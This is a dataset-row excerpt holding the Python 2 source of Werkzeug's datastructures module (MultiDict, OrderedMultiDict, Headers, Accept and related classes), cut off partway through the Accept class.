repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringclasses
981 values
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
input_ids
listlengths
1.02k
1.02k
labels
listlengths
1.02k
1.02k
attention_mask
listlengths
1.02k
1.02k
mozvip/CouchPotatoServer
libs/werkzeug/datastructures.py
73
83980
# -*- coding: utf-8 -*- """ werkzeug.datastructures ~~~~~~~~~~~~~~~~~~~~~~~ This module provides mixins and classes with an immutable interface. :copyright: (c) 2011 by the Werkzeug Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ import re import codecs import mimetypes from itertools import repeat from werkzeug._internal import _proxy_repr, _missing, _empty_stream _locale_delim_re = re.compile(r'[_-]') def is_immutable(self): raise TypeError('%r objects are immutable' % self.__class__.__name__) def iter_multi_items(mapping): """Iterates over the items of a mapping yielding keys and values without dropping any from more complex structures. """ if isinstance(mapping, MultiDict): for item in mapping.iteritems(multi=True): yield item elif isinstance(mapping, dict): for key, value in mapping.iteritems(): if isinstance(value, (tuple, list)): for value in value: yield key, value else: yield key, value else: for item in mapping: yield item class ImmutableListMixin(object): """Makes a :class:`list` immutable. .. versionadded:: 0.5 :private: """ _hash_cache = None def __hash__(self): if self._hash_cache is not None: return self._hash_cache rv = self._hash_cache = hash(tuple(self)) return rv def __reduce_ex__(self, protocol): return type(self), (list(self),) def __delitem__(self, key): is_immutable(self) def __delslice__(self, i, j): is_immutable(self) def __iadd__(self, other): is_immutable(self) __imul__ = __iadd__ def __setitem__(self, key, value): is_immutable(self) def __setslice__(self, i, j, value): is_immutable(self) def append(self, item): is_immutable(self) remove = append def extend(self, iterable): is_immutable(self) def insert(self, pos, value): is_immutable(self) def pop(self, index=-1): is_immutable(self) def reverse(self): is_immutable(self) def sort(self, cmp=None, key=None, reverse=None): is_immutable(self) class ImmutableList(ImmutableListMixin, list): """An immutable :class:`list`. .. versionadded:: 0.5 :private: """ __repr__ = _proxy_repr(list) class ImmutableDictMixin(object): """Makes a :class:`dict` immutable. .. versionadded:: 0.5 :private: """ _hash_cache = None @classmethod def fromkeys(cls, keys, value=None): instance = super(cls, cls).__new__(cls) instance.__init__(zip(keys, repeat(value))) return instance def __reduce_ex__(self, protocol): return type(self), (dict(self),) def _iter_hashitems(self): return self.iteritems() def __hash__(self): if self._hash_cache is not None: return self._hash_cache rv = self._hash_cache = hash(frozenset(self._iter_hashitems())) return rv def setdefault(self, key, default=None): is_immutable(self) def update(self, *args, **kwargs): is_immutable(self) def pop(self, key, default=None): is_immutable(self) def popitem(self): is_immutable(self) def __setitem__(self, key, value): is_immutable(self) def __delitem__(self, key): is_immutable(self) def clear(self): is_immutable(self) class ImmutableMultiDictMixin(ImmutableDictMixin): """Makes a :class:`MultiDict` immutable. .. versionadded:: 0.5 :private: """ def __reduce_ex__(self, protocol): return type(self), (self.items(multi=True),) def _iter_hashitems(self): return self.iteritems(multi=True) def add(self, key, value): is_immutable(self) def popitemlist(self): is_immutable(self) def poplist(self, key): is_immutable(self) def setlist(self, key, new_list): is_immutable(self) def setlistdefault(self, key, default_list=None): is_immutable(self) class UpdateDictMixin(object): """Makes dicts call `self.on_update` on modifications. .. versionadded:: 0.5 :private: """ on_update = None def calls_update(name): def oncall(self, *args, **kw): rv = getattr(super(UpdateDictMixin, self), name)(*args, **kw) if self.on_update is not None: self.on_update(self) return rv oncall.__name__ = name return oncall __setitem__ = calls_update('__setitem__') __delitem__ = calls_update('__delitem__') clear = calls_update('clear') pop = calls_update('pop') popitem = calls_update('popitem') setdefault = calls_update('setdefault') update = calls_update('update') del calls_update class TypeConversionDict(dict): """Works like a regular dict but the :meth:`get` method can perform type conversions. :class:`MultiDict` and :class:`CombinedMultiDict` are subclasses of this class and provide the same feature. .. versionadded:: 0.5 """ def get(self, key, default=None, type=None): """Return the default value if the requested data doesn't exist. If `type` is provided and is a callable it should convert the value, return it or raise a :exc:`ValueError` if that is not possible. In this case the function will return the default as if the value was not found: >>> d = TypeConversionDict(foo='42', bar='blub') >>> d.get('foo', type=int) 42 >>> d.get('bar', -1, type=int) -1 :param key: The key to be looked up. :param default: The default value to be returned if the key can't be looked up. If not further specified `None` is returned. :param type: A callable that is used to cast the value in the :class:`MultiDict`. If a :exc:`ValueError` is raised by this callable the default value is returned. """ try: rv = self[key] if type is not None: rv = type(rv) except (KeyError, ValueError): rv = default return rv class ImmutableTypeConversionDict(ImmutableDictMixin, TypeConversionDict): """Works like a :class:`TypeConversionDict` but does not support modifications. .. versionadded:: 0.5 """ def copy(self): """Return a shallow mutable copy of this object. Keep in mind that the standard library's :func:`copy` function is a no-op for this class like for any other python immutable type (eg: :class:`tuple`). """ return TypeConversionDict(self) def __copy__(self): return self class MultiDict(TypeConversionDict): """A :class:`MultiDict` is a dictionary subclass customized to deal with multiple values for the same key which is for example used by the parsing functions in the wrappers. This is necessary because some HTML form elements pass multiple values for the same key. :class:`MultiDict` implements all standard dictionary methods. Internally, it saves all values for a key as a list, but the standard dict access methods will only return the first value for a key. If you want to gain access to the other values, too, you have to use the `list` methods as explained below. Basic Usage: >>> d = MultiDict([('a', 'b'), ('a', 'c')]) >>> d MultiDict([('a', 'b'), ('a', 'c')]) >>> d['a'] 'b' >>> d.getlist('a') ['b', 'c'] >>> 'a' in d True It behaves like a normal dict thus all dict functions will only return the first value when multiple values for one key are found. From Werkzeug 0.3 onwards, the `KeyError` raised by this class is also a subclass of the :exc:`~exceptions.BadRequest` HTTP exception and will render a page for a ``400 BAD REQUEST`` if caught in a catch-all for HTTP exceptions. A :class:`MultiDict` can be constructed from an iterable of ``(key, value)`` tuples, a dict, a :class:`MultiDict` or from Werkzeug 0.2 onwards some keyword parameters. :param mapping: the initial value for the :class:`MultiDict`. Either a regular dict, an iterable of ``(key, value)`` tuples or `None`. """ def __init__(self, mapping=None): if isinstance(mapping, MultiDict): dict.__init__(self, ((k, l[:]) for k, l in mapping.iterlists())) elif isinstance(mapping, dict): tmp = {} for key, value in mapping.iteritems(): if isinstance(value, (tuple, list)): value = list(value) else: value = [value] tmp[key] = value dict.__init__(self, tmp) else: tmp = {} for key, value in mapping or (): tmp.setdefault(key, []).append(value) dict.__init__(self, tmp) def __getstate__(self): return dict(self.lists()) def __setstate__(self, value): dict.clear(self) dict.update(self, value) def __iter__(self): return self.iterkeys() def __getitem__(self, key): """Return the first data value for this key; raises KeyError if not found. :param key: The key to be looked up. :raise KeyError: if the key does not exist. """ if key in self: return dict.__getitem__(self, key)[0] raise BadRequestKeyError(key) def __setitem__(self, key, value): """Like :meth:`add` but removes an existing key first. :param key: the key for the value. :param value: the value to set. """ dict.__setitem__(self, key, [value]) def add(self, key, value): """Adds a new value for the key. .. versionadded:: 0.6 :param key: the key for the value. :param value: the value to add. """ dict.setdefault(self, key, []).append(value) def getlist(self, key, type=None): """Return the list of items for a given key. If that key is not in the `MultiDict`, the return value will be an empty list. Just as `get` `getlist` accepts a `type` parameter. All items will be converted with the callable defined there. :param key: The key to be looked up. :param type: A callable that is used to cast the value in the :class:`MultiDict`. If a :exc:`ValueError` is raised by this callable the value will be removed from the list. :return: a :class:`list` of all the values for the key. """ try: rv = dict.__getitem__(self, key) except KeyError: return [] if type is None: return list(rv) result = [] for item in rv: try: result.append(type(item)) except ValueError: pass return result def setlist(self, key, new_list): """Remove the old values for a key and add new ones. Note that the list you pass the values in will be shallow-copied before it is inserted in the dictionary. >>> d = MultiDict() >>> d.setlist('foo', ['1', '2']) >>> d['foo'] '1' >>> d.getlist('foo') ['1', '2'] :param key: The key for which the values are set. :param new_list: An iterable with the new values for the key. Old values are removed first. """ dict.__setitem__(self, key, list(new_list)) def setdefault(self, key, default=None): """Returns the value for the key if it is in the dict, otherwise it returns `default` and sets that value for `key`. :param key: The key to be looked up. :param default: The default value to be returned if the key is not in the dict. If not further specified it's `None`. """ if key not in self: self[key] = default else: default = self[key] return default def setlistdefault(self, key, default_list=None): """Like `setdefault` but sets multiple values. The list returned is not a copy, but the list that is actually used internally. This means that you can put new values into the dict by appending items to the list: >>> d = MultiDict({"foo": 1}) >>> d.setlistdefault("foo").extend([2, 3]) >>> d.getlist("foo") [1, 2, 3] :param key: The key to be looked up. :param default: An iterable of default values. It is either copied (in case it was a list) or converted into a list before returned. :return: a :class:`list` """ if key not in self: default_list = list(default_list or ()) dict.__setitem__(self, key, default_list) else: default_list = dict.__getitem__(self, key) return default_list def items(self, multi=False): """Return a list of ``(key, value)`` pairs. :param multi: If set to `True` the list returned will have a pair for each value of each key. Otherwise it will only contain pairs for the first value of each key. :return: a :class:`list` """ return list(self.iteritems(multi)) def lists(self): """Return a list of ``(key, values)`` pairs, where values is the list of all values associated with the key. :return: a :class:`list` """ return list(self.iterlists()) def values(self): """Returns a list of the first value on every key's value list. :return: a :class:`list`. """ return [self[key] for key in self.iterkeys()] def listvalues(self): """Return a list of all values associated with a key. Zipping :meth:`keys` and this is the same as calling :meth:`lists`: >>> d = MultiDict({"foo": [1, 2, 3]}) >>> zip(d.keys(), d.listvalues()) == d.lists() True :return: a :class:`list` """ return list(self.iterlistvalues()) def iteritems(self, multi=False): """Like :meth:`items` but returns an iterator.""" for key, values in dict.iteritems(self): if multi: for value in values: yield key, value else: yield key, values[0] def iterlists(self): """Like :meth:`items` but returns an iterator.""" for key, values in dict.iteritems(self): yield key, list(values) def itervalues(self): """Like :meth:`values` but returns an iterator.""" for values in dict.itervalues(self): yield values[0] def iterlistvalues(self): """Like :meth:`listvalues` but returns an iterator.""" return dict.itervalues(self) def copy(self): """Return a shallow copy of this object.""" return self.__class__(self) def to_dict(self, flat=True): """Return the contents as regular dict. If `flat` is `True` the returned dict will only have the first item present, if `flat` is `False` all values will be returned as lists. :param flat: If set to `False` the dict returned will have lists with all the values in it. Otherwise it will only contain the first value for each key. :return: a :class:`dict` """ if flat: return dict(self.iteritems()) return dict(self.lists()) def update(self, other_dict): """update() extends rather than replaces existing key lists.""" for key, value in iter_multi_items(other_dict): MultiDict.add(self, key, value) def pop(self, key, default=_missing): """Pop the first item for a list on the dict. Afterwards the key is removed from the dict, so additional values are discarded: >>> d = MultiDict({"foo": [1, 2, 3]}) >>> d.pop("foo") 1 >>> "foo" in d False :param key: the key to pop. :param default: if provided the value to return if the key was not in the dictionary. """ try: return dict.pop(self, key)[0] except KeyError, e: if default is not _missing: return default raise BadRequestKeyError(str(e)) def popitem(self): """Pop an item from the dict.""" try: item = dict.popitem(self) return (item[0], item[1][0]) except KeyError, e: raise BadRequestKeyError(str(e)) def poplist(self, key): """Pop the list for a key from the dict. If the key is not in the dict an empty list is returned. .. versionchanged:: 0.5 If the key does no longer exist a list is returned instead of raising an error. """ return dict.pop(self, key, []) def popitemlist(self): """Pop a ``(key, list)`` tuple from the dict.""" try: return dict.popitem(self) except KeyError, e: raise BadRequestKeyError(str(e)) def __copy__(self): return self.copy() def __repr__(self): return '%s(%r)' % (self.__class__.__name__, self.items(multi=True)) class _omd_bucket(object): """Wraps values in the :class:`OrderedMultiDict`. This makes it possible to keep an order over multiple different keys. It requires a lot of extra memory and slows down access a lot, but makes it possible to access elements in O(1) and iterate in O(n). """ __slots__ = ('prev', 'key', 'value', 'next') def __init__(self, omd, key, value): self.prev = omd._last_bucket self.key = key self.value = value self.next = None if omd._first_bucket is None: omd._first_bucket = self if omd._last_bucket is not None: omd._last_bucket.next = self omd._last_bucket = self def unlink(self, omd): if self.prev: self.prev.next = self.next if self.next: self.next.prev = self.prev if omd._first_bucket is self: omd._first_bucket = self.next if omd._last_bucket is self: omd._last_bucket = self.prev class OrderedMultiDict(MultiDict): """Works like a regular :class:`MultiDict` but preserves the order of the fields. To convert the ordered multi dict into a list you can use the :meth:`items` method and pass it ``multi=True``. In general an :class:`OrderedMultiDict` is an order of magnitude slower than a :class:`MultiDict`. .. admonition:: note Due to a limitation in Python you cannot convert an ordered multi dict into a regular dict by using ``dict(multidict)``. Instead you have to use the :meth:`to_dict` method, otherwise the internal bucket objects are exposed. """ def __init__(self, mapping=None): dict.__init__(self) self._first_bucket = self._last_bucket = None if mapping is not None: OrderedMultiDict.update(self, mapping) def __eq__(self, other): if not isinstance(other, MultiDict): return NotImplemented if isinstance(other, OrderedMultiDict): iter1 = self.iteritems(multi=True) iter2 = other.iteritems(multi=True) try: for k1, v1 in iter1: k2, v2 = iter2.next() if k1 != k2 or v1 != v2: return False except StopIteration: return False try: iter2.next() except StopIteration: return True return False if len(self) != len(other): return False for key, values in self.iterlists(): if other.getlist(key) != values: return False return True def __ne__(self, other): return not self.__eq__(other) def __reduce_ex__(self, protocol): return type(self), (self.items(multi=True),) def __getstate__(self): return self.items(multi=True) def __setstate__(self, values): dict.clear(self) for key, value in values: self.add(key, value) def __getitem__(self, key): if key in self: return dict.__getitem__(self, key)[0].value raise BadRequestKeyError(key) def __setitem__(self, key, value): self.poplist(key) self.add(key, value) def __delitem__(self, key): self.pop(key) def iterkeys(self): return (key for key, value in self.iteritems()) def itervalues(self): return (value for key, value in self.iteritems()) def iteritems(self, multi=False): ptr = self._first_bucket if multi: while ptr is not None: yield ptr.key, ptr.value ptr = ptr.next else: returned_keys = set() while ptr is not None: if ptr.key not in returned_keys: returned_keys.add(ptr.key) yield ptr.key, ptr.value ptr = ptr.next def iterlists(self): returned_keys = set() ptr = self._first_bucket while ptr is not None: if ptr.key not in returned_keys: yield ptr.key, self.getlist(ptr.key) returned_keys.add(ptr.key) ptr = ptr.next def iterlistvalues(self): for key, values in self.iterlists(): yield values def add(self, key, value): dict.setdefault(self, key, []).append(_omd_bucket(self, key, value)) def getlist(self, key, type=None): try: rv = dict.__getitem__(self, key) except KeyError: return [] if type is None: return [x.value for x in rv] result = [] for item in rv: try: result.append(type(item.value)) except ValueError: pass return result def setlist(self, key, new_list): self.poplist(key) for value in new_list: self.add(key, value) def setlistdefault(self, key, default_list=None): raise TypeError('setlistdefault is unsupported for ' 'ordered multi dicts') def update(self, mapping): for key, value in iter_multi_items(mapping): OrderedMultiDict.add(self, key, value) def poplist(self, key): buckets = dict.pop(self, key, ()) for bucket in buckets: bucket.unlink(self) return [x.value for x in buckets] def pop(self, key, default=_missing): try: buckets = dict.pop(self, key) except KeyError, e: if default is not _missing: return default raise BadRequestKeyError(str(e)) for bucket in buckets: bucket.unlink(self) return buckets[0].value def popitem(self): try: key, buckets = dict.popitem(self) except KeyError, e: raise BadRequestKeyError(str(e)) for bucket in buckets: bucket.unlink(self) return key, buckets[0].value def popitemlist(self): try: key, buckets = dict.popitem(self) except KeyError, e: raise BadRequestKeyError(str(e)) for bucket in buckets: bucket.unlink(self) return key, [x.value for x in buckets] def _options_header_vkw(value, kw): return dump_options_header(value, dict((k.replace('_', '-'), v) for k, v in kw.items())) class Headers(object): """An object that stores some headers. It has a dict-like interface but is ordered and can store the same keys multiple times. This data structure is useful if you want a nicer way to handle WSGI headers which are stored as tuples in a list. From Werkzeug 0.3 onwards, the :exc:`KeyError` raised by this class is also a subclass of the :class:`~exceptions.BadRequest` HTTP exception and will render a page for a ``400 BAD REQUEST`` if caught in a catch-all for HTTP exceptions. Headers is mostly compatible with the Python :class:`wsgiref.headers.Headers` class, with the exception of `__getitem__`. :mod:`wsgiref` will return `None` for ``headers['missing']``, whereas :class:`Headers` will raise a :class:`KeyError`. To create a new :class:`Headers` object pass it a list or dict of headers which are used as default values. This does not reuse the list passed to the constructor for internal usage. To create a :class:`Headers` object that uses as internal storage the list or list-like object you can use the :meth:`linked` class method. :param defaults: The list of default values for the :class:`Headers`. """ def __init__(self, defaults=None, _list=None): if _list is None: _list = [] self._list = _list if defaults is not None: if isinstance(defaults, (list, Headers)): self._list.extend(defaults) else: self.extend(defaults) @classmethod def linked(cls, headerlist): """Create a new :class:`Headers` object that uses the list of headers passed as internal storage: >>> headerlist = [('Content-Length', '40')] >>> headers = Headers.linked(headerlist) >>> headers['Content-Type'] = 'text/html' >>> headerlist [('Content-Length', '40'), ('Content-Type', 'text/html')] :param headerlist: The list of headers the class is linked to. :return: new linked :class:`Headers` object. """ return cls(_list=headerlist) def __getitem__(self, key, _get_mode=False): if not _get_mode: if isinstance(key, (int, long)): return self._list[key] elif isinstance(key, slice): return self.__class__(self._list[key]) ikey = key.lower() for k, v in self._list: if k.lower() == ikey: return v # micro optimization: if we are in get mode we will catch that # exception one stack level down so we can raise a standard # key error instead of our special one. if _get_mode: raise KeyError() raise BadRequestKeyError(key) def __eq__(self, other): return other.__class__ is self.__class__ and \ set(other._list) == set(self._list) def __ne__(self, other): return not self.__eq__(other) def get(self, key, default=None, type=None): """Return the default value if the requested data doesn't exist. If `type` is provided and is a callable it should convert the value, return it or raise a :exc:`ValueError` if that is not possible. In this case the function will return the default as if the value was not found: >>> d = Headers([('Content-Length', '42')]) >>> d.get('Content-Length', type=int) 42 If a headers object is bound you must not add unicode strings because no encoding takes place. :param key: The key to be looked up. :param default: The default value to be returned if the key can't be looked up. If not further specified `None` is returned. :param type: A callable that is used to cast the value in the :class:`Headers`. If a :exc:`ValueError` is raised by this callable the default value is returned. """ try: rv = self.__getitem__(key, _get_mode=True) except KeyError: return default if type is None: return rv try: return type(rv) except ValueError: return default def getlist(self, key, type=None): """Return the list of items for a given key. If that key is not in the :class:`Headers`, the return value will be an empty list. Just as :meth:`get` :meth:`getlist` accepts a `type` parameter. All items will be converted with the callable defined there. :param key: The key to be looked up. :param type: A callable that is used to cast the value in the :class:`Headers`. If a :exc:`ValueError` is raised by this callable the value will be removed from the list. :return: a :class:`list` of all the values for the key. """ ikey = key.lower() result = [] for k, v in self: if k.lower() == ikey: if type is not None: try: v = type(v) except ValueError: continue result.append(v) return result def get_all(self, name): """Return a list of all the values for the named field. This method is compatible with the :mod:`wsgiref` :meth:`~wsgiref.headers.Headers.get_all` method. """ return self.getlist(name) def iteritems(self, lower=False): for key, value in self: if lower: key = key.lower() yield key, value def iterkeys(self, lower=False): for key, _ in self.iteritems(lower): yield key def itervalues(self): for _, value in self.iteritems(): yield value def keys(self, lower=False): return list(self.iterkeys(lower)) def values(self): return list(self.itervalues()) def items(self, lower=False): return list(self.iteritems(lower)) def extend(self, iterable): """Extend the headers with a dict or an iterable yielding keys and values. """ if isinstance(iterable, dict): for key, value in iterable.iteritems(): if isinstance(value, (tuple, list)): for v in value: self.add(key, v) else: self.add(key, value) else: for key, value in iterable: self.add(key, value) def __delitem__(self, key, _index_operation=True): if _index_operation and isinstance(key, (int, long, slice)): del self._list[key] return key = key.lower() new = [] for k, v in self._list: if k.lower() != key: new.append((k, v)) self._list[:] = new def remove(self, key): """Remove a key. :param key: The key to be removed. """ return self.__delitem__(key, _index_operation=False) def pop(self, key=None, default=_missing): """Removes and returns a key or index. :param key: The key to be popped. If this is an integer the item at that position is removed, if it's a string the value for that key is. If the key is omitted or `None` the last item is removed. :return: an item. """ if key is None: return self._list.pop() if isinstance(key, (int, long)): return self._list.pop(key) try: rv = self[key] self.remove(key) except KeyError: if default is not _missing: return default raise return rv def popitem(self): """Removes a key or index and returns a (key, value) item.""" return self.pop() def __contains__(self, key): """Check if a key is present.""" try: self.__getitem__(key, _get_mode=True) except KeyError: return False return True has_key = __contains__ def __iter__(self): """Yield ``(key, value)`` tuples.""" return iter(self._list) def __len__(self): return len(self._list) def add(self, _key, _value, **kw): """Add a new header tuple to the list. Keyword arguments can specify additional parameters for the header value, with underscores converted to dashes:: >>> d = Headers() >>> d.add('Content-Type', 'text/plain') >>> d.add('Content-Disposition', 'attachment', filename='foo.png') The keyword argument dumping uses :func:`dump_options_header` behind the scenes. .. versionadded:: 0.4.1 keyword arguments were added for :mod:`wsgiref` compatibility. """ if kw: _value = _options_header_vkw(_value, kw) self._validate_value(_value) self._list.append((_key, _value)) def _validate_value(self, value): if isinstance(value, basestring) and ('\n' in value or '\r' in value): raise ValueError('Detected newline in header value. This is ' 'a potential security problem') def add_header(self, _key, _value, **_kw): """Add a new header tuple to the list. An alias for :meth:`add` for compatibility with the :mod:`wsgiref` :meth:`~wsgiref.headers.Headers.add_header` method. """ self.add(_key, _value, **_kw) def clear(self): """Clears all headers.""" del self._list[:] def set(self, _key, _value, **kw): """Remove all header tuples for `key` and add a new one. The newly added key either appears at the end of the list if there was no entry or replaces the first one. Keyword arguments can specify additional parameters for the header value, with underscores converted to dashes. See :meth:`add` for more information. .. versionchanged:: 0.6.1 :meth:`set` now accepts the same arguments as :meth:`add`. :param key: The key to be inserted. :param value: The value to be inserted. """ if kw: _value = _options_header_vkw(_value, kw) self._validate_value(_value) if not self._list: self._list.append((_key, _value)) return listiter = iter(self._list) ikey = _key.lower() for idx, (old_key, old_value) in enumerate(listiter): if old_key.lower() == ikey: # replace first ocurrence self._list[idx] = (_key, _value) break else: self._list.append((_key, _value)) return self._list[idx + 1:] = [t for t in listiter if t[0].lower() != ikey] def setdefault(self, key, value): """Returns the value for the key if it is in the dict, otherwise it returns `default` and sets that value for `key`. :param key: The key to be looked up. :param default: The default value to be returned if the key is not in the dict. If not further specified it's `None`. """ if key in self: return self[key] self.set(key, value) return value def __setitem__(self, key, value): """Like :meth:`set` but also supports index/slice based setting.""" if isinstance(key, (slice, int, long)): self._validate_value(value) self._list[key] = value else: self.set(key, value) def to_list(self, charset='iso-8859-1'): """Convert the headers into a list and converts the unicode header items to the specified charset. :return: list """ return [(k, isinstance(v, unicode) and v.encode(charset) or str(v)) for k, v in self] def copy(self): return self.__class__(self._list) def __copy__(self): return self.copy() def __str__(self, charset='iso-8859-1'): """Returns formatted headers suitable for HTTP transmission.""" strs = [] for key, value in self.to_list(charset): strs.append('%s: %s' % (key, value)) strs.append('\r\n') return '\r\n'.join(strs) def __repr__(self): return '%s(%r)' % ( self.__class__.__name__, list(self) ) class ImmutableHeadersMixin(object): """Makes a :class:`Headers` immutable. We do not mark them as hashable though since the only usecase for this datastructure in Werkzeug is a view on a mutable structure. .. versionadded:: 0.5 :private: """ def __delitem__(self, key): is_immutable(self) def __setitem__(self, key, value): is_immutable(self) set = __setitem__ def add(self, item): is_immutable(self) remove = add_header = add def extend(self, iterable): is_immutable(self) def insert(self, pos, value): is_immutable(self) def pop(self, index=-1): is_immutable(self) def popitem(self): is_immutable(self) def setdefault(self, key, default): is_immutable(self) class EnvironHeaders(ImmutableHeadersMixin, Headers): """Read only version of the headers from a WSGI environment. This provides the same interface as `Headers` and is constructed from a WSGI environment. From Werkzeug 0.3 onwards, the `KeyError` raised by this class is also a subclass of the :exc:`~exceptions.BadRequest` HTTP exception and will render a page for a ``400 BAD REQUEST`` if caught in a catch-all for HTTP exceptions. """ def __init__(self, environ): self.environ = environ @classmethod def linked(cls, environ): raise TypeError('%r object is always linked to environment, ' 'no separate initializer' % cls.__name__) def __eq__(self, other): return self.environ is other.environ def __getitem__(self, key, _get_mode=False): # _get_mode is a no-op for this class as there is no index but # used because get() calls it. key = key.upper().replace('-', '_') if key in ('CONTENT_TYPE', 'CONTENT_LENGTH'): return self.environ[key] return self.environ['HTTP_' + key] def __len__(self): # the iter is necessary because otherwise list calls our # len which would call list again and so forth. return len(list(iter(self))) def __iter__(self): for key, value in self.environ.iteritems(): if key.startswith('HTTP_') and key not in \ ('HTTP_CONTENT_TYPE', 'HTTP_CONTENT_LENGTH'): yield key[5:].replace('_', '-').title(), value elif key in ('CONTENT_TYPE', 'CONTENT_LENGTH'): yield key.replace('_', '-').title(), value def copy(self): raise TypeError('cannot create %r copies' % self.__class__.__name__) class CombinedMultiDict(ImmutableMultiDictMixin, MultiDict): """A read only :class:`MultiDict` that you can pass multiple :class:`MultiDict` instances as sequence and it will combine the return values of all wrapped dicts: >>> from werkzeug.datastructures import CombinedMultiDict, MultiDict >>> post = MultiDict([('foo', 'bar')]) >>> get = MultiDict([('blub', 'blah')]) >>> combined = CombinedMultiDict([get, post]) >>> combined['foo'] 'bar' >>> combined['blub'] 'blah' This works for all read operations and will raise a `TypeError` for methods that usually change data which isn't possible. From Werkzeug 0.3 onwards, the `KeyError` raised by this class is also a subclass of the :exc:`~exceptions.BadRequest` HTTP exception and will render a page for a ``400 BAD REQUEST`` if caught in a catch-all for HTTP exceptions. """ def __reduce_ex__(self, protocol): return type(self), (self.dicts,) def __init__(self, dicts=None): self.dicts = dicts or [] @classmethod def fromkeys(cls): raise TypeError('cannot create %r instances by fromkeys' % cls.__name__) def __getitem__(self, key): for d in self.dicts: if key in d: return d[key] raise BadRequestKeyError(key) def get(self, key, default=None, type=None): for d in self.dicts: if key in d: if type is not None: try: return type(d[key]) except ValueError: continue return d[key] return default def getlist(self, key, type=None): rv = [] for d in self.dicts: rv.extend(d.getlist(key, type)) return rv def keys(self): rv = set() for d in self.dicts: rv.update(d.keys()) return list(rv) def iteritems(self, multi=False): found = set() for d in self.dicts: for key, value in d.iteritems(multi): if multi: yield key, value elif key not in found: found.add(key) yield key, value def itervalues(self): for key, value in self.iteritems(): yield value def values(self): return list(self.itervalues()) def items(self, multi=False): return list(self.iteritems(multi)) def iterlists(self): rv = {} for d in self.dicts: for key, values in d.iterlists(): rv.setdefault(key, []).extend(values) return rv.iteritems() def lists(self): return list(self.iterlists()) def iterlistvalues(self): return (x[0] for x in self.lists()) def listvalues(self): return list(self.iterlistvalues()) def iterkeys(self): return iter(self.keys()) __iter__ = iterkeys def copy(self): """Return a shallow copy of this object.""" return self.__class__(self.dicts[:]) def to_dict(self, flat=True): """Return the contents as regular dict. If `flat` is `True` the returned dict will only have the first item present, if `flat` is `False` all values will be returned as lists. :param flat: If set to `False` the dict returned will have lists with all the values in it. Otherwise it will only contain the first item for each key. :return: a :class:`dict` """ rv = {} for d in reversed(self.dicts): rv.update(d.to_dict(flat)) return rv def __len__(self): return len(self.keys()) def __contains__(self, key): for d in self.dicts: if key in d: return True return False has_key = __contains__ def __repr__(self): return '%s(%r)' % (self.__class__.__name__, self.dicts) class FileMultiDict(MultiDict): """A special :class:`MultiDict` that has convenience methods to add files to it. This is used for :class:`EnvironBuilder` and generally useful for unittesting. .. versionadded:: 0.5 """ def add_file(self, name, file, filename=None, content_type=None): """Adds a new file to the dict. `file` can be a file name or a :class:`file`-like or a :class:`FileStorage` object. :param name: the name of the field. :param file: a filename or :class:`file`-like object :param filename: an optional filename :param content_type: an optional content type """ if isinstance(file, FileStorage): value = file else: if isinstance(file, basestring): if filename is None: filename = file file = open(file, 'rb') if filename and content_type is None: content_type = mimetypes.guess_type(filename)[0] or \ 'application/octet-stream' value = FileStorage(file, filename, name, content_type) self.add(name, value) class ImmutableDict(ImmutableDictMixin, dict): """An immutable :class:`dict`. .. versionadded:: 0.5 """ __repr__ = _proxy_repr(dict) def copy(self): """Return a shallow mutable copy of this object. Keep in mind that the standard library's :func:`copy` function is a no-op for this class like for any other python immutable type (eg: :class:`tuple`). """ return dict(self) def __copy__(self): return self class ImmutableMultiDict(ImmutableMultiDictMixin, MultiDict): """An immutable :class:`MultiDict`. .. versionadded:: 0.5 """ def copy(self): """Return a shallow mutable copy of this object. Keep in mind that the standard library's :func:`copy` function is a no-op for this class like for any other python immutable type (eg: :class:`tuple`). """ return MultiDict(self) def __copy__(self): return self class ImmutableOrderedMultiDict(ImmutableMultiDictMixin, OrderedMultiDict): """An immutable :class:`OrderedMultiDict`. .. versionadded:: 0.6 """ def _iter_hashitems(self): return enumerate(self.iteritems(multi=True)) def copy(self): """Return a shallow mutable copy of this object. Keep in mind that the standard library's :func:`copy` function is a no-op for this class like for any other python immutable type (eg: :class:`tuple`). """ return OrderedMultiDict(self) def __copy__(self): return self class Accept(ImmutableList): """An :class:`Accept` object is just a list subclass for lists of ``(value, quality)`` tuples. It is automatically sorted by quality. All :class:`Accept` objects work similar to a list but provide extra functionality for working with the data. Containment checks are normalized to the rules of that header: >>> a = CharsetAccept([('ISO-8859-1', 1), ('utf-8', 0.7)]) >>> a.best 'ISO-8859-1' >>> 'iso-8859-1' in a True >>> 'UTF8' in a True >>> 'utf7' in a False To get the quality for an item you can use normal item lookup: >>> print a['utf-8'] 0.7 >>> a['utf7'] 0 .. versionchanged:: 0.5 :class:`Accept` objects are forced immutable now. """ def __init__(self, values=()): if values is None: list.__init__(self) self.provided = False elif isinstance(values, Accept): self.provided = values.provided list.__init__(self, values) else: self.provided = True values = [(a, b) for b, a in values] values.sort() values.reverse() list.__init__(self, [(a, b) for b, a in values]) def _value_matches(self, value, item): """Check if a value matches a given accept item.""" return item == '*' or item.lower() == value.lower() def __getitem__(self, key): """Besides index lookup (getting item n) you can also pass it a string to get the quality for the item. If the item is not in the list, the returned quality is ``0``. """ if isinstance(key, basestring): return self.quality(key) return list.__getitem__(self, key) def quality(self, key): """Returns the quality of the key. .. versionadded:: 0.6 In previous versions you had to use the item-lookup syntax (eg: ``obj[key]`` instead of ``obj.quality(key)``) """ for item, quality in self: if self._value_matches(key, item): return quality return 0 def __contains__(self, value): for item, quality in self: if self._value_matches(value, item): return True return False def __repr__(self): return '%s([%s])' % ( self.__class__.__name__, ', '.join('(%r, %s)' % (x, y) for x, y in self) ) def index(self, key): """Get the position of an entry or raise :exc:`ValueError`. :param key: The key to be looked up. .. versionchanged:: 0.5 This used to raise :exc:`IndexError`, which was inconsistent with the list API. """ if isinstance(key, basestring): for idx, (item, quality) in enumerate(self): if self._value_matches(key, item): return idx raise ValueError(key) return list.index(self, key) def find(self, key): """Get the position of an entry or return -1. :param key: The key to be looked up. """ try: return self.index(key) except ValueError: return -1 def values(self): """Return a list of the values, not the qualities.""" return list(self.itervalues()) def itervalues(self): """Iterate over all values.""" for item in self: yield item[0] def to_header(self): """Convert the header set into an HTTP header string.""" result = [] for value, quality in self: if quality != 1: value = '%s;q=%s' % (value, quality) result.append(value) return ','.join(result) def __str__(self): return self.to_header() def best_match(self, matches, default=None): """Returns the best match from a list of possible matches based on the quality of the client. If two items have the same quality, the one is returned that comes first. :param 